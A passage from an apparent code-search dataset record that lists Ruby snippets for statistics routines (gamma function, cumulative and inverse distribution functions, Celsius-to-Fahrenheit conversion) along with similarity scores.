(y < 1.0)\n\n # Add or subtract integers as necessary to bring y into (1,2)\n # Will correct for this below\n if arg_was_less_than_one\n y += 1.0\n else\n n = y.floor - 1 # will use n later\n y -= n\n end\n\n # numerator coefficients for approximation over the interval (1,2)\n p =\n [\n -1.71618513886549492533811E+0,\n 2.47656508055759199108314E+1,\n -3.79804256470945635097577E+2,\n 6.29331155312818442661052E+2,\n 8.66966202790413211295064E+2,\n -3.14512729688483675254357E+4,\n -3.61444134186911729807069E+4,\n 6.64561438202405440627855E+4\n ]\n\n # denominator coefficients for approximation over the interval (1,2)\n q =\n [\n -3.08402300119738975254353E+1,\n 3.15350626979604161529144E+2,\n -1.01515636749021914166146E+3,\n -3.10777167157231109440444E+3,\n 2.25381184209801510330112E+4,\n 4.75584627752788110767815E+3,\n -1.34659959864969306392456E+5,\n -1.15132259675553483497211E+5\n ]\n\n num = 0.0\n den = 1.0\n\n z = y - 1\n 8.times do |i|\n num = (num + p[i])*z\n den = den*z + q[i]\n end\n result = num/den + 1.0\n\n # Apply correction if argument was not initially in (1,2)\n if arg_was_less_than_one\n # Use identity gamma(z) = gamma(z+1)/z\n # The variable \"result\" now holds gamma of the original y + 1\n # Thus we use y-1 to get back the orginal y.\n result /= (y-1.0)\n else\n # Use the identity gamma(z+n) = z*(z+1)* ... *(z+n-1)*gamma(z)\n n.times do\n result *= y\n y += 1\n end\n end\n\n return result\n end\n\n ###########################################################################\n # Third interval: [12, infinity)\n\n if x > 171.624\n # Correct answer too large to display. \n return 1.0/0 # float infinity\n end\n\n return Math.exp(log_gamma(x))\nend",
"def ruby_cdf(k, m, n, total)\n raise(ArgumentError, \"k>m\") if k>m\n raise(ArgumentError, \"k>n\") if k>n\n\n min = n < m ? n : m\n\n sum_p = (k..min).inject(0.0) do |sum,i|\n sum + Math.exp(cyn2(i, m, n, total))\n end\n\n return 0.0 if sum_p < 0\n return 1.0 if sum_p > 1\n sum_p\n end",
"def probability var, val\n unless self.count.zero?\n self.count{|r| r[var] == val}.fdiv(self.count)\n else\n 0\n end\n end",
"def f_iter(x)\n cur_prob = 1.0\n for i in 2..$x do\n cur_prob += ($n - cur_prob)/$n\n end\n return cur_prob\nend",
"def fact(x)\n return 1 if x <= 1\n return fact(x - 1) * x\nend",
"def probability(value)\n probability_for_sides(:==, value)\n end",
"def p_value(p, a, b, rmin = 0, rmax = 1)\n fail 'a <= 0' if a <= 0\n fail 'b <= 0' if b <= 0\n fail 'rmin == rmax' if rmin == rmax\n fail 'p <= 0' if p <= 0\n fail 'p > 1' if p > 1\n\n precision = 8.88e-016\n max_iterations = 256\n\n ga = 0\n gb = 2\n\n i = 1\n while ((gb - ga) > precision) && (i < max_iterations)\n guess = (ga + gb) / 2.0\n result = cdf(guess, a, b)\n\n if (result == p) || (result == 0)\n gb = ga\n elsif result > p\n gb = guess\n else\n ga = guess\n end\n\n fail 'No value' if i == max_iterations\n\n i += 1\n end\n\n rmin + guess * (rmax - rmin)\n end",
"def prob(nC,cC,temp)\n deltaE = nC - cC\n return Math.exp(-(deltaE)/temp)\nend",
"def ctof(c)\n f = c * 9.0/5.0 + 32.0\nend",
"def generate_number\n if self.respond_to? :inv_cdf\n inv_cdf(rand)\n else\n generate_sample 1\n end\n end",
"def probability\n return @probability\n end",
"def ctof(ctemp)\n32.0+(ctemp*9.0/5.0)\nend",
"def dette_cumulee\n\n dette_cumulee = 0\n \n self.distributions.each {\n |d|\n dette_cumulee += (d.dette == nil ? 0 : d.dette)\n \n }\n\n return dette_cumulee\n end",
"def ctof(c)\n c * 9.0/5.0 + 32.0\nend",
"def inverse_f\n return 0 if f_x.zero?\n temp_value = i = 0\n while temp_value <= f_x && i < n\n temp_value = gsl_cdf.binomial_P(i, p, n)\n next if temp_value >= f_x\n i += 1\n end\n i.zero? ? 0 : i - 1\n end",
"def decision_function(x)\n raise \"#{self.class.name}##{__method__} expects to be called after training the model with the fit method.\" unless trained?\n x = Rumale::Validation.check_convert_sample_array(x)\n xx = fit_bias? ? expand_feature(x) : x\n Numo::Liblinear.decision_function(xx, liblinear_params, @model)\n end",
"def getFactoredProb0(i,j)\n v = (i == j ? 0 : @probTablePickUp[i] * @probTableDropOff[j]) ;\n return v/(1-@probFactoredDiagSum) ;\n end",
"def sample(x, skip_cache = false)\n # Loop over points and compute contribution\n # from each. Stdev is @bandwidth\n y = 0.0\n\n return @cache[x] if !skip_cache && @cache[x]\n\n @points.each do |mean|\n y += (1.0 / (@bandwidth * Math.sqrt( TWO_PI ))) *\n Math.exp( -1 * ((x - mean) ** 2) / (2 * @bandwidth ** 2) )\n end\n\n # puts \"x bounds: #{@min}, #{@max}\"\n # puts \"Sample at #{x} = #{y}\"\n\n @cache[x] = y\n return y / @points.length\n end",
"def pd\n if @pd.nil?\n @[email protected]{ [0] * @nc}\n [email protected]{ [0] * @nc}\n @nr.times do |i|\n @nc.times do |j|\n \n if i==@nr-1 and j==@nc-1\n @pd[i][j]=1.0\n else\n a=(i==@nr-1) ? 100: alpha[i]\n b=(j==@nc-1) ? 100: beta[j]\n #puts \"a:#{a} b:#{b}\"\n @pd[i][j]=Distribution::BivariateNormal.cdf(a, b, rho)\n end\n pc[i][j] = @pd[i][j]\n @pd[i][j] = @pd[i][j] - pc[i-1][j] if i>0\n @pd[i][j] = @pd[i][j] - pc[i][j-1] if j>0\n @pd[i][j] = @pd[i][j] + pc[i-1][j-1] if (i>0 and j>0)\n end\n end\n end\n @pd\n end",
"def equationValue(a, b, c, d, x)\n\t\tf = ((a+x)/(b+x))**(b + x)\n\t\tf = f - (c/d)\n\t\treturn f\n\tend",
"def pick\n float = BigDecimal.new(@rnd.uniform.to_s)\n from = to = BigDecimal.new(\"0.0\")\n value = nil\n @distribution.each do |value, probabillity|\n to += probabillity\n if float >= from && float < to\n return value\n end\n from = to\n end\n\n throw \"probabillity sum not 1.0, was #{to} for #{@distribution}\" if to < 0.999\n return value\n end",
"def chi2_x(n, x); 1.0 - chi2dist(n, x); end",
"def death_factor \n\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n end",
"def evaluate_param(x); (x.is_a?(Range) ? rand(x) : x).to_f; end",
"def cdf_inverse(confidence)\n a = [0, -3.969683028665376e+01, 2.209460984245205e+02, -2.759285104469687e+02, 1.383577518672690e+02, -3.066479806614716e+01, 2.506628277459239e+00]\n b = [0, -5.447609879822406e+01, 1.615858368580409e+02, -1.556989798598866e+02, 6.680131188771972e+01, -1.328068155288572e+01]\n c = [0, -7.784894002430293e-03, -3.223964580411365e-01, -2.400758277161838e+00, -2.549732539343734e+00, 4.374664141464968e+00, 2.938163982698783e+00]\n d = [0, 7.784695709041462e-03, 3.224671290700398e-01, 2.445134137142996e+00, 3.754408661907416e+00]\n p_low = 0.02425\n p_high = 1.0 - p_low\n\n x = 0.0\n q = 0.0\n if 0.0 < confidence && confidence < p_low\n q = Math.sqrt(-2.0 * Math.log(confidence))\n x = (((((c[1] * q + c[2]) * q + c[3]) * q + c[4]) * q + c[5]) * q + c[6]) / ((((d[1] * q + d[2]) * q + d[3]) * q + d[4]) * q + 1.0)\n elsif p_low <= confidence && confidence <= p_high\n q = confidence - 0.5\n r = q * q\n x = (((((a[1] * r + a[2]) * r + a[3]) * r + a[4]) * r + a[5]) * r + a[6]) * q / (((((b[1] * r + b[2]) * r + b[3]) * r + b[4]) * r + b[5]) * r + 1.0)\n elsif p_high < confidence && confidence < 1.0\n q = Math.sqrt(-2.0 * Math.log(1.0 - confidence))\n x = -(((((c[1] * q + c[2]) * q + c[3]) * q + c[4]) * q + c[5]) * q + c[6]) / ((((d[1] * q + d[2]) * q + d[3]) * q + d[4]) * q + 1.0)\n end\n pi = Math::PI\n if 0 < confidence && confidence < 1\n e = 0.5 * Math.erfc(-x / Math.sqrt(2.0)) - confidence\n u = e * Math.sqrt(2.0 * pi) * Math.exp((x**2.0) / 2.0)\n x = x - u / (1.0 + x * u / 2.0)\n end\n x\n end",
"def sd\n @sd ||= var ** 0.5\n end",
"def prob(x, u, o)\n f = (1/(Math.sqrt(2*Math::PI)*o.to_f))*(Math::E)**((((x.to_f - u.to_f)**2)/(2*o.to_f**2))*-1)\nend",
"def prob(x, u, o)\n f = (1/(Math.sqrt(2*Math::PI)*o.to_f))*(Math::E)**((((x.to_f - u.to_f)**2)/(2*o.to_f**2))*-1)\nend",
"def inverse_f\n return 0 if f_x.zero?\n temp_value = i = 0\n while temp_value <= f_x && i < n\n temp_value = gsl_cdf.pascal_P(i, p, n)\n next if temp_value >= f_x\n i += 1\n end\n i.zero? ? 0 : i - 1\n end",
"def ctof(cel)\n (cel * 9.0) / 5.0 + 32\nend",
"def state_probability(state_id)\n if $data_states[state_id].nonresistance\n return 100\n else\n rank = enemy.state_ranks[state_id]\n return [0,100,80,60,40,20,0][rank]\n end\n end",
"def min_x\n c2f_x(0)\n end",
"def precipChance(info)\n\treturn info[\"currently\"][\"precipProbability\"]*100\nend",
"def d(x)\n result = [1]\n (2..(x/2)).each {|d| result << d if x % d == 0}\n result.reduce {|sum, x| sum += x}\nend",
"def euclidean_priority(x)\n priority = 0\n 0.upto(x.size-1) { |i|\n priority += (x[i] - @instance.final_capacities[i])**2\n }\n return Math.sqrt(priority).round\n end",
"def probability_s\n return @probability_s\n end",
"def ctof(temp)\n temp * (9.0 / 5.0) + 32\nend",
"def threshold(x)\n\t\tx > 0 ? 1.0 : 0.0\n\tend",
"def P_of_c(clazz)\n Math.log(doc_count(clazz).to_f / num_of_docs)\n end",
"def density\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n end",
"def gamma(x)\n if x < 0.0\n return PI / (sin(PI * x) * exp(log_gamma(1 - x)))\n else\n exp(log_gamma(x))\n end\n end",
"def category_probability(category)\r\n @categories_documents[category].to_f/@total_documents.to_f\r\n end",
"def return_value(x)\n\tif x > 1\n\t\treturn x\n\telse\n\tend\nend",
"def ctof(c)\n\tc * (9.0 / 5.0) + 32\nend",
"def getFactoredProb(i,j)\n return @probTable.calcProbFactored(i,j) ;\n end",
"def ctof(tempC)\n (tempC * (9.0/5.0)) + 32\nend",
"def f(x)\n 0.4 * x + 1\nend",
"def get_basic_factor(value = 0.5)\n return value + rand % (1 - value)\n end",
"def gamma(x)\n if (x < 0.0)\n return Math::PI / (Math.sin(Math::PI * x) * Math.exp(loggamma(1 - x))) #/\n end\n Math.exp(loggamma(x))\n end",
"def calculate_gc_dc_roll_probability(oc_roll_probability)\n\t\treturn 36/36.to_r - return_rational(oc_roll_probability)\n\tend",
"def gcf(num1, num2)\n\tx = num1 < num2 ? num1 : num2\n\twhile x > 1 do\n\t\tif num1 % x == 0 && num2 % x == 0\n\t\t\treturn x\n\t\tend\n\t\tx -= 1\n\tend\n\treturn 1\nend",
"def gen\n (x=rand)>0.5 ? x : (x < rand/2.0) ? 1.0 - x : x\nend",
"def probability_of_success\n experience / 5.0\n end",
"def pfdist(n1, n2, y); pf(1.0 - y, n1, n2); end",
"def ctof(n) \n c=1.8\n return ((n*c)+32).to_i \nend",
"def ctof(tp_c)\n\tf = (tp_c * 9.0/5.0) + 32.0\n f = f.to_f\n return f\nend",
"def dp\n dps.first\n end",
"def calc_contribution(f)\n each_class do |k|\n a, b, c, d = get_A(f, k), get_B(f, k), get_C(f, k), get_D(f, k)\n n = a+b+c+d\n \n s = 0.0\n x = (a+b)*(a+c)\n \n s = Math.log2(a*n/x) if not x.zero?\n \n set_feature_score(f, k, s)\n end\n end",
"def priorprob(category)\n sum = 0\n self.category_count.each do |cat, count|\n sum += count\n end\n return self.category_count[category] / sum\n end",
"def probability\n rand(1..100)\n end",
"def discount_coefficient(item)\n 1 - discount(item) / 100.0\n end",
"def grubbscv(n, alpha)\n\t tcv = Distribution::T::p_value(alpha/(2*n), n-2)\n\t return ((n-1)/Math.sqrt(n))*Math.sqrt(tcv**2/((n-2)+tcv**2))\n\tend",
"def heaviside_step_function(value)\n return 1 if value >= @theta\n return 0\n end",
"def ctof(temp)\n return temp*9/5.to_f + 32\nend",
"def get_token_probability(token, category_index)\n denom = @total_token_counts[category_index] + @token_counts[category_index].size * @prior_token_count \n if denom == 0\n return 0\n else\n return ((@token_counts[category_index][token] || 0) + @prior_token_count).to_f / denom\n end\n end"
] | [
"0.7629624",
"0.7610661",
"0.75876087",
"0.7571987",
"0.74029744",
"0.72717035",
"0.6999543",
"0.6856111",
"0.6717249",
"0.6682264",
"0.666276",
"0.66423786",
"0.64369804",
"0.6424093",
"0.6361306",
"0.6226767",
"0.6173409",
"0.6162367",
"0.60454434",
"0.5905242",
"0.58941126",
"0.5789168",
"0.57218367",
"0.56120014",
"0.5581891",
"0.5540063",
"0.551608",
"0.55120987",
"0.5431779",
"0.5422387",
"0.53846157",
"0.53733534",
"0.5306005",
"0.5275307",
"0.52722704",
"0.52681327",
"0.5260775",
"0.5253824",
"0.52362186",
"0.5182297",
"0.5171665",
"0.5155104",
"0.51445186",
"0.51433045",
"0.5136297",
"0.5125868",
"0.512395",
"0.5064657",
"0.5062368",
"0.5060021",
"0.5040318",
"0.5015334",
"0.5002855",
"0.50003535",
"0.4942123",
"0.49341246",
"0.49327976",
"0.4924826",
"0.4918668",
"0.49064496",
"0.4895133",
"0.48903343",
"0.48903343",
"0.48697737",
"0.48632246",
"0.48597345",
"0.48581865",
"0.4849572",
"0.48494235",
"0.483663",
"0.48358634",
"0.48327714",
"0.48312634",
"0.48233443",
"0.4820622",
"0.4812182",
"0.48119166",
"0.47986823",
"0.47959024",
"0.47906917",
"0.47873768",
"0.47836003",
"0.477479",
"0.47701412",
"0.47688022",
"0.47677293",
"0.47665864",
"0.476323",
"0.47589433",
"0.47571614",
"0.4755659",
"0.4748321",
"0.47463232",
"0.47414",
"0.47264424",
"0.4725509",
"0.4723555",
"0.4713833",
"0.47032842",
"0.46970883"
] | 0.72960496 | 5 |
Private method to obtain single inverse CDF value. return the value X for which P(x<X). | def get_icdf(p)
check_range(p)
raise "inverse cdf for multivariate normal distribution not implemented"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def inverse_f\n return 0 if f_x.zero?\n temp_value = i = 0\n while temp_value <= f_x && i < n\n temp_value = gsl_cdf.binomial_P(i, p, n)\n next if temp_value >= f_x\n i += 1\n end\n i.zero? ? 0 : i - 1\n end",
"def inverse_f\n return 0 if f_x.zero?\n temp_value = i = 0\n while temp_value <= f_x && i < n\n temp_value = gsl_cdf.pascal_P(i, p, n)\n next if temp_value >= f_x\n i += 1\n end\n i.zero? ? 0 : i - 1\n end",
"def cdf_inverse(confidence)\n a = [0, -3.969683028665376e+01, 2.209460984245205e+02, -2.759285104469687e+02, 1.383577518672690e+02, -3.066479806614716e+01, 2.506628277459239e+00]\n b = [0, -5.447609879822406e+01, 1.615858368580409e+02, -1.556989798598866e+02, 6.680131188771972e+01, -1.328068155288572e+01]\n c = [0, -7.784894002430293e-03, -3.223964580411365e-01, -2.400758277161838e+00, -2.549732539343734e+00, 4.374664141464968e+00, 2.938163982698783e+00]\n d = [0, 7.784695709041462e-03, 3.224671290700398e-01, 2.445134137142996e+00, 3.754408661907416e+00]\n p_low = 0.02425\n p_high = 1.0 - p_low\n\n x = 0.0\n q = 0.0\n if 0.0 < confidence && confidence < p_low\n q = Math.sqrt(-2.0 * Math.log(confidence))\n x = (((((c[1] * q + c[2]) * q + c[3]) * q + c[4]) * q + c[5]) * q + c[6]) / ((((d[1] * q + d[2]) * q + d[3]) * q + d[4]) * q + 1.0)\n elsif p_low <= confidence && confidence <= p_high\n q = confidence - 0.5\n r = q * q\n x = (((((a[1] * r + a[2]) * r + a[3]) * r + a[4]) * r + a[5]) * r + a[6]) * q / (((((b[1] * r + b[2]) * r + b[3]) * r + b[4]) * r + b[5]) * r + 1.0)\n elsif p_high < confidence && confidence < 1.0\n q = Math.sqrt(-2.0 * Math.log(1.0 - confidence))\n x = -(((((c[1] * q + c[2]) * q + c[3]) * q + c[4]) * q + c[5]) * q + c[6]) / ((((d[1] * q + d[2]) * q + d[3]) * q + d[4]) * q + 1.0)\n end\n pi = Math::PI\n if 0 < confidence && confidence < 1\n e = 0.5 * Math.erfc(-x / Math.sqrt(2.0)) - confidence\n u = e * Math.sqrt(2.0 * pi) * Math.exp((x**2.0) / 2.0)\n x = x - u / (1.0 + x * u / 2.0)\n end\n x\n end",
"def get_cdf(x)\n if x >= @lower && x < @upper\n (x - @lower).fdiv(@upper - @lower)\n elsif x >= @upper\n 1.0\n else \n 0.0\n end\t \n end",
"def get_cdf(x)\n end",
"def cdf(_x)\n if _x.class == Array\n inv_vals = []\n for i in (0 ..._x.length)\n pdf_vals[i] = get_cdf(_x[i])\n end\n return pdf_vals\n else\n return get_cdf(_x)\n end\n end",
"def p_value(pr,k)\n GSL::Cdf.tdist_Pinv(pr,k)\n end",
"def get_icdf(prob)\n if prob.class == Array\n inv_vals = []\n for i in (0 ...prob.length)\n check_range(prob[i])\n inv_vals[i] = (find_root(prob[i], @n/2, 0.0, @n)).floor\n end\n return inv_vals\n else\n check_range(prob)\n return (find_root(prob, @n/2, 0.0, @n)).floor\n end\n end",
"def get_cdf(x)\n raise \"method 'cdf' not implemented for student t\"\n end",
"def get_cdf(x)\n raise \"cdf for multivariate normal distribution not implemented\"\n end",
"def cdf(x, k)\n GSL::Cdf.tdist_P(x.to_f, k)\n end",
"def get_cdf(x)\n return 0.5 + 0.5 * Math.erf((Math.log(x.to_f) - @meanlog) / (NumericalConstants::SQRT2 * @sdlog))\n end",
"def get_cdf(_x)\n check_range(_x, 0.0, @n)\n sum = 0.0\n for i in (0 .. _x) \n sum = sum + pdf(i)\n end\n return sum\n end",
"def get_icdf(p)\n check_range(p)\n return @lower + p.to_f * (@upper - @lower)\n end",
"def p_value(pr,a,b)\n GSL::Cdf::gamma_Pinv(pr.to_f, a.to_f, b.to_f)\n end",
"def normalDistributionCDF(value)\n return Distribution::Normal.cdf(value)\n end",
"def get_icdf(p)\n raise \"method 'get_icdf' not implemented for log-normal\"\n end",
"def cdf(x, a, b)\n return 0.0 if x <= 0.0\n return 1.0 if x >= 1.0\n Math::IncompleteBeta.axpy(1.0, 0.0, a, b, x)\n end",
"def cdf(x,a,b)\n GSL::Cdf::gamma_P(x.to_f, a.to_f, b.to_f)\n end",
"def cdf(lower_tail=true)\n\t\t\tmethod_to_call = if lower_tail\n\t\t\t\t:gaussian_P\n\t\t\telse\n\t\t\t\t:gaussian_Q\n\t\t\tend\n\t\t\[email protected] { |x| Cdf.send(method_to_call,x, @o).round(@precision) }\n\t\tend",
"def get_pdf(x)\n if x >= @lower && x <= @upper\n @pdf_denominator\n else \n 0.0\n end\t \n end",
"def q(x, n, m)\n 1.0 - cdf(x, n, m)\n end",
"def get_pdf(x) \n d = Vector.elements(x) - @mu\n @pdf_factor * Math.exp(-0.5 * d.inner_product(@sigma_inv*d).to_f)\n end",
"def pf_x(n1, n2, x); pfdist(n1, n2, 1.0 - x); end",
"def cdf(z_score)\n (0.5 * (1.0 + Math.erf((z_score * 1.0) / Math.sqrt(2))))\n end",
"def prob(nC,cC,temp)\n deltaE = nC - cC\n return Math.exp(-(deltaE)/temp)\nend",
"def get_pdf(x) \n return @pdf_factor * (1.0 + (x**2.0) / @dof)**(-(@dof+1.0)/2.0)\n end",
"def opposite(x)\n x * -1\nend",
"def get_pdf(x)\n raise \"Argument Error: x must be greater than zero\" if x <= 0.0\n return 1.0/x.to_f * @norm.pdf(Math.log(x.to_f))\n end",
"def calcD(pn,pa)\n return -1*(Math.log2(pn/pa))\nend",
"def pdf(_x)\n if _x.class == Array\n pdf_vals = []\n for i in (0 ... _x.length)\n check_range(_x[i], 0.0, @n)\n pdf_vals[i] = binomial(@n, _x[i]) * (1-@p)**(@n-_x[i])\n end\n return pdf_vals\n else\n check_range(_x, 0.0, @n)\n return binomial(@n, _x) * @p**_x * (1-@p)**(@n-_x)\n end\n end",
"def inverse()\n map_hash{|k,v|[k,1/v] if v > 0}.to_p\n end",
"def get_neg_log(pval)\n if pval == 0\n return 50\n elsif pval == 1\n return 0.0\n else\n return -Math.log10(pval.to_f)\n end\n end",
"def dette_cumulee\n\n dette_cumulee = 0\n \n self.distributions.each {\n |d|\n dette_cumulee += (d.dette == nil ? 0 : d.dette)\n \n }\n\n return dette_cumulee\n end",
"def cdf(k,n,pr)\n #(0..x.floor).inject(0) {|ac,i| ac+pdf(i,n,pr)}\n Math.regularized_beta(1-pr,n - k,k+1)\n end",
"def ifft\r\n inverse_strategy.new(data).calculate\r\n end",
"def inverse_confidence_threshold\n @inverse ||= (1 - Licensee.confidence_threshold / 100.0).round(2)\n end",
"def getFactoredProb0(i,j)\n v = (i == j ? 0 : @probTablePickUp[i] * @probTableDropOff[j]) ;\n return v/(1-@probFactoredDiagSum) ;\n end",
"def pred\n self - 1\n end",
"def cdf(x, k)\n Statistics2.chi2dist(k.to_i,x)\n end",
"def get_d(p,q,e)\n phi = (p-1)*(q-1)\n x,y = extended_gcd(e,phi)\n x += phi if x<0 # Have to add the modulus if it returns negative\n x\nend",
"def act_f()\n (y() >= 0) ? 1.0 : -1.0;\n end",
"def heaviside_step_function(value)\n return 1 if value >= @theta\n return 0\n end",
"def cdf(k, m, n, total) # :nodoc:\n GSL::Cdf::hypergeometric_P(k, m, total-m, n)\n end",
"def net_present_value_derivative\n lambda do |x|\n relative_payments.reduce(0) do |sum, relative_payment|\n sum + relative_payment.amount * -relative_payment.offset * (1 + x)**(-relative_payment.offset - 1)\n end\n end\n end",
"def df_e\n @valid_cases-@predictors_n-1\n end",
"def p(val)\n\t\t\tif (@probability_distribution.key?(val))\n\t\t\t\treturn @probability_distribution[val]\n\t\t\telse\n\t\t\t\treturn 0\n\t\t\tend\n\t\tend",
"def df_e\n cases-@n_predictors-1\n end",
"def cnd(x)\r\n l = x.abs\r\n k = 1.0 / (1.0 + 0.2316419 * l)\r\n w = 1.0 - 1.0 / Math.sqrt(2 * Math::PI) * Math.exp(-l * l / 2.0) *\r\n ( 0.31938153 * k +\r\n -0.356563782 * (k ** 2) +\r\n 1.781477937 * (k ** 3) +\r\n -1.821255978 * (k ** 4) +\r\n 1.330274429 * (k ** 5))\r\n w = 1.0 - w if x < 0\r\n end",
"def t__X_(n, x); tdist(n, x) - 0.5; end",
"def f2c_x(x)\n (x - x_orig) * zoom\n end",
"def getFactoredProb(i,j)\n return @probTable.calcProbFactored(i,j) ;\n end",
"def chi2_x(n, x); 1.0 - chi2dist(n, x); end",
"def icubert(n)\n x = n\n loop do\n y = ((2*x + n/(x**2))/3)\n if y < x\n x = y\n else\n return x\n end\n end\nend",
"def det(a)\n lu, piv, = Lapack.call(:getrf, a)\n idx = piv.new_narray.store(piv.class.new(piv.shape[-1]).seq(1))\n m = piv.eq(idx).count_false(axis:-1) % 2\n sign = m * -2 + 1\n lu.diagonal.prod(axis:-1) * sign\n end",
"def x(y)\n return 1.0/2.0 * (y - 1.0)\n end",
"def x(y)\n return 1.0/2.0 * (y - 1.0)\n end",
"def x(y)\n return 1.0/2.0 * (y - 1.0)\n end",
"def opposite(number)\r\n return number * (-1)\r\nend",
"def get_icdf(p)\n raise \"method 'icdf' not implemented for student t\"\n end",
"def probability_z\n\t\t (1-Distribution::Normal.cdf(z))*(@tails==:both ? 2:1)\n end",
"def pnormalx__x(y); pnormalxXX_(1.0 - y/2.0); end",
"def log_density(x)\n raise \"Not implemented\"\n end",
"def pchi2_x(n, y); pchi2dist(n, 1.0 - y); end",
"def pnormal___x(y); pnormalxXX_(1.0 - y); end",
"def tx__x(n, x); 2.0 - tdist(n, x) * 2.0; end",
"def log_proposal_density(y,x)\n raise \"Not implemented\"\n end",
"def pfdist(n1, n2, y); pf(1.0 - y, n1, n2); end",
"def t___x(n, x); 1.0 - tdist(n, x); end",
"def min_x\n c2f_x(0)\n end",
"def d(x)\n 2 * ( l(x) + h(x) ) - 1\n end",
"def prob(x, u, o)\n f = (1/(Math.sqrt(2*Math::PI)*o.to_f))*(Math::E)**((((x.to_f - u.to_f)**2)/(2*o.to_f**2))*-1)\nend",
"def prob(x, u, o)\n f = (1/(Math.sqrt(2*Math::PI)*o.to_f))*(Math::E)**((((x.to_f - u.to_f)**2)/(2*o.to_f**2))*-1)\nend",
"def x\n @x ||= X.new( c*r, a, (-1*c*(b - c*n)), (r*r*a - (b - c*n)*(b - c*n)) )\n end",
"def x\n @x ||= X.new( c*r, a, (-1*c*(b - c*n)), (r*r*a - (b - c*n)*(b - c*n)) )\n end",
"def bce(n)\n return -n\n end",
"def ptx__x(n, y); ptdist(n, 1.0 - y / 2.0); end",
"def value_val_2_db_Internal(iValue)\n if (iValue == 0)\n # -Infinity\n return -1.0/0.0\n else\n return -6*(@LogMax-value_log(iValue.abs))/@Log2\n end\n end",
"def inverse\n return self if identity_matrix?\n raise 'not invertible' unless invertible?\n\n Matrix.new(size) do |result|\n det = determinant\n each_row_col do |row, col|\n result[col, row] = cofactor(row, col) / det\n end\n end\n end",
"def feature_probability(index, value, class_name)\r\n features_of_class = get_feature_of_class(index, class_name)\r\n\r\n #statistical properties of the feature set\r\n fc_std = features_of_class.standard_deviation\r\n fc_mean = features_of_class.mean\r\n fc_var = features_of_class.variance \r\n\r\n # Calc prbobability of Normal Distribui\r\n\r\n exp = -((value - fc_mean)**2)/(2*fc_var)\r\n densy = (1.0/(Math.sqrt(2*Math::PI*fc_var))) * (Math::E**exp)\r\n\r\n return densy\r\n end",
"def generate_number\n if self.respond_to? :inv_cdf\n inv_cdf(rand)\n else\n generate_sample 1\n end\n end",
"def calc_parab_y(x_in, fp_in)\r\n # - - - - - - - - - - - - - - - -\r\n lcy = (x_in * x_in) / (fp_in * 4.0)\r\n lcy\r\n end",
"def get_icdf(p)\n end",
"def f_iter(x)\n cur_prob = 1.0\n for i in 2..$x do\n cur_prob += ($n - cur_prob)/$n\n end\n return cur_prob\nend",
"def pred\n self - ONE\n end",
"def conditional_probability\nend",
"def do_rcf(cv, fv)\n hc = get_marginal_entropy(cv)\n hf = get_marginal_entropy(fv)\n hcf = get_conditional_entropy(cv, fv)\n \n # symmetrical uncertainty\n 2*(hc-hcf)/(hc+hf)\n end",
"def opposite(num)\n if num < 0\n return num.abs\n else num >= 0\n return num * -1 end\nend",
"def p_value(p, a, b, rmin = 0, rmax = 1)\n fail 'a <= 0' if a <= 0\n fail 'b <= 0' if b <= 0\n fail 'rmin == rmax' if rmin == rmax\n fail 'p <= 0' if p <= 0\n fail 'p > 1' if p > 1\n\n precision = 8.88e-016\n max_iterations = 256\n\n ga = 0\n gb = 2\n\n i = 1\n while ((gb - ga) > precision) && (i < max_iterations)\n guess = (ga + gb) / 2.0\n result = cdf(guess, a, b)\n\n if (result == p) || (result == 0)\n gb = ga\n elsif result > p\n gb = guess\n else\n ga = guess\n end\n\n fail 'No value' if i == max_iterations\n\n i += 1\n end\n\n rmin + guess * (rmax - rmin)\n end",
"def pt__X_(n, y); ptdist(n, 0.5 + y); end",
"def euclidean_priority(x)\n priority = 0\n 0.upto(x.size-1) { |i|\n priority += (x[i] - @instance.final_capacities[i])**2\n }\n return Math.sqrt(priority).round\n end",
"def ctof(ctemp)\n32.0+(ctemp*9.0/5.0)\nend",
"def normalise\n nor_factor = @cdf.max\n (1..@N).each do |k|\n @pdf[k] = @pdf[k] / nor_factor \n @cdf[k] = @cdf[k] / nor_factor\n end\n end",
"def gcf(num1, num2)\n\tx = num1 < num2 ? num1 : num2\n\twhile x > 1 do\n\t\tif num1 % x == 0 && num2 % x == 0\n\t\t\treturn x\n\t\tend\n\t\tx -= 1\n\tend\n\treturn 1\nend",
"def x(y)\n return @coefficients[0] / y\n end",
"def find_inverse(key_1)\r\n\t(1..26).each do |d|\r\n\t\treturn d if(((d * key_1) % 26) == 1) \r\n\tend\r\n\traise StandardError, \"#{key_1} has no inverse mod 26\"\r\nend",
"def opposite(number)\n return 0 - number\nend",
"def icc_1_1_ci(alpha=0.05)\n per=1-(0.5*alpha)\n \n fu=icc_1_f.f*Distribution::F.p_value(per, @df_wt, @df_bt)\n fl=icc_1_f.f.quo(Distribution::F.p_value(per, @df_bt, @df_wt))\n \n [(fl-1).quo(fl+k-1), (fu-1).quo(fu+k-1)]\n end",
"def pval2chisq(pval, df)\n R.eval \"chisq <- qchisq(#{1-pval}, #{df})\"\n R.chisq\n end",
"def pnormal__X_(y); pnormalxXX_(y + 0.5); end"
] | [
"0.7334814",
"0.72948354",
"0.65790737",
"0.612099",
"0.61098677",
"0.6084197",
"0.6048374",
"0.6020192",
"0.59524155",
"0.5847093",
"0.5760519",
"0.57526135",
"0.5736061",
"0.572028",
"0.565058",
"0.5575824",
"0.5557389",
"0.5546693",
"0.5513874",
"0.5476753",
"0.54223937",
"0.54201466",
"0.5407078",
"0.53970915",
"0.53865135",
"0.5267628",
"0.52582026",
"0.52350295",
"0.5234689",
"0.52203995",
"0.5199219",
"0.51919806",
"0.51678073",
"0.51479286",
"0.5115447",
"0.5113276",
"0.50901026",
"0.50489527",
"0.5048809",
"0.5015392",
"0.50147426",
"0.50144756",
"0.50093025",
"0.49788964",
"0.49780947",
"0.49728596",
"0.49686864",
"0.49660012",
"0.4952585",
"0.49500778",
"0.4940213",
"0.49382517",
"0.49275666",
"0.49188823",
"0.4912241",
"0.48949766",
"0.48949766",
"0.48949766",
"0.48686707",
"0.4868288",
"0.48592767",
"0.48584142",
"0.48458514",
"0.48312792",
"0.4825199",
"0.4814376",
"0.48025888",
"0.48025128",
"0.4797185",
"0.47841454",
"0.47717953",
